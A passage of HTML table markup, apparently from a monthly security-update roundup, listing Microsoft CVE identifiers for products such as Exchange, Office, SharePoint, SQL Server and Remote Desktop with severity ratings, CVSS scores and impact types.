  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55006"><span>CVE-2026-55006</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55009"><span>CVE-2026-55009</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55005"><span>CVE-2026-55005</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56642"><span>CVE-2026-56642</span></a></td>
  <td width="256" class="xl74">Microsoft Fabric Data
  Warehouse Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50343"><span>CVE-2026-50343</span></a></td>
  <td width="256" class="xl74">Microsoft Install
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50439"><span>CVE-2026-50439</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58537"><span>CVE-2026-58537</span></a></td>
  <td width="256" class="xl74">Microsoft NAT Helper
  Components (ipnathlp.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56193"><span>CVE-2026-56193</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55023"><span>CVE-2026-55023</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55026"><span>CVE-2026-55026</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55027"><span>CVE-2026-55027</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55028"><span>CVE-2026-55028</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55047"><span>CVE-2026-55047</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55035"><span>CVE-2026-55035</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55057"><span>CVE-2026-55057</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl75" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55121"><span>CVE-2026-55121</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55042"><span>CVE-2026-55042</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55139"><span>CVE-2026-55139</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50665"><span>CVE-2026-50665</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56192"><span>CVE-2026-56192</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56195"><span>CVE-2026-56195</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47290"><span>CVE-2026-47290</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50301"><span>CVE-2026-50301</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55017"><span>CVE-2026-55017</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55125"><span>CVE-2026-55125</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55133"><span>CVE-2026-55133</span></a></td>
  <td width="256" class="xl74">Microsoft OneNote
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58636"><span>CVE-2026-58636</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50438"><span>CVE-2026-50438</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58647"><span>CVE-2026-58647</span></a></td>
  <td width="256" class="xl74">Microsoft PowerBI
  Report Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55052"><span>CVE-2026-55052</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58277"><span>CVE-2026-58277</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55051"><span>CVE-2026-55051</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54108"><span>CVE-2026-54108</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55016"><span>CVE-2026-55016</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55019"><span>CVE-2026-55019</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55020"><span>CVE-2026-55020</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55021"><span>CVE-2026-55021</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55030"><span>CVE-2026-55030</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55034"><span>CVE-2026-55034</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55126"><span>CVE-2026-55126</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55135"><span>CVE-2026-55135</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56157"><span>CVE-2026-56157</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47296"><span>CVE-2026-47296</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55002"><span>CVE-2026-55002</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47295"><span>CVE-2026-47295</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50468"><span>CVE-2026-50468</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54116"><span>CVE-2026-54116</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42900"><span>CVE-2026-42900</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49784"><span>CVE-2026-49784</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50356"><span>CVE-2026-50356</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49165"><span>CVE-2026-49165</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54993"><span>CVE-2026-54993</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58610"><span>CVE-2026-58610</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55050"><span>CVE-2026-55050</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55124"><span>CVE-2026-55124</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55142"><span>CVE-2026-55142</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55032"><span>CVE-2026-55032</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55055"><span>CVE-2026-55055</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55038"><span>CVE-2026-55038</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55134"><span>CVE-2026-55134</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55128"><span>CVE-2026-55128</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55130"><span>CVE-2026-55130</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50359"><span>CVE-2026-50359</span></a></td>
  <td width="256" class="xl74">Microsoft XML Core
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57097"><span>CVE-2026-57097</span></a></td>
  <td width="256" class="xl74">Microsoft XML Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50346"><span>CVE-2026-50346</span></a></td>
  <td width="256" class="xl74">Netlogon RPC Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50402"><span>CVE-2026-50402</span></a></td>
  <td width="256" class="xl74">NTFS Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50506"><span>CVE-2026-50506</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45646"><span>CVE-2026-45646</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54989"><span>CVE-2026-54989</span></a></td>
  <td width="256" class="xl74">Quality Windows
  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50365"><span>CVE-2026-50365</span></a></td>
  <td width="256" class="xl74">Remote Access
  Management service/API (RPC server) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54990"><span>CVE-2026-54990</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58594"><span>CVE-2026-58594</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><span>CVE-2026-56190</span></a></td>
  <td width="256" class="xl74">Remote Desktop
  Protocol Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49783"><span>CVE-2026-49783</span></a></td>
  <td width="256" class="xl74">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
